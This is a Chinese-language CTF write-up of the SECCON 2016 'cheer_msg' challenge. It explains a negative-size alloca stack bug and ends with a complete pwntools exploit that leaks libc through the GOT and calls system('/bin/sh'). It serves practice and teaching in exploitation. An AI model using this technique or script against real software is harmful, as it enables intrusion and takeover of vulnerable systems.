前言

本文目的是以一道比较简单的 ctf 的练手,为后面的分析 RouterOs 的 漏洞和写 exploit 打基础。

Seccon CTF quals 2016 的一道题。

题目,idb 文件:

https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca

正文

首先看看 main 函数的代码。

逻辑还是比较简单的获取输入后,简单的加了 30 就给 alloca 去分配空间,然后进入 message 函数。

alloca 函数是 从 栈上分配内存, 它分配内存是通过 sub esp , * 来实现的,我们可以转到汇编代码看看。

可以看到调用 alloca 实际就是通过 sub esp, eax 来分配栈内存。

我们输入的 numint 类型的

如果我们输入 num 为 负数, sub esp 就相当于 add esp 我们可以把栈指针往栈底移动。

继续往下看

接下来会调用 message 函数, 可以看到传给他的参数为 esp + 23num , 进入 message 函数 ,看看他的逻辑。

首先读取 n 个字符 到 buf , 这两个变量就是我们传入的参数。

然后读入 0x40 个字符到 message 函数自己定义的局部变量中。

一切都很正常,没有溢出,没有格式化字符串漏洞。

程序的漏洞在于传入的 buf 是通过 alloca 分配的内存,我们可以通过输入 负数 使得 alloca的参数为负, 这样我们就可以把 esp 往栈底移动,栈底有返回地址, 然后通过 message 中读取数据,覆盖 eip 然后进行 rop 即可。

要触发漏洞我们需要输入负数,所以在

会直接返回,不会获取输入,因为它里面调用的是 fgets来获取输入。fgets会有检查。

所以我们只能往 message 函数内的缓冲区 t_buf写数据,不过这个缓冲区也是在栈上,同样与 esp 相关,所以我们把esp 往栈底移时,它也是会跟着下移,通过它也可以写 返回地址 的值。

我们可以输入 -140(这个值可以通过 先输入一个 比较小的比如 -32, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)

0x0804860E 设个断点

sub 之后

可以看到 esp 已经增大。
然后加上一定的 padding (可以使用 pwntoolscyclic 计算) ,就能修改 返回地址了。

之后就是一般的 rop


使用 printf 打印 got 表中的 printf 的值,泄露 libc 的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")


总结

alloca 的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic 确定精确的偏移。

exp

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")

binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
    ''')

r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")

payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry)  # ret to start
payload += p32(binary.got['printf'])

r.sendline(payload)

r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']

log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))



r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")

payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload)

r.interactive()

参考:

https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖

先知安全技术社区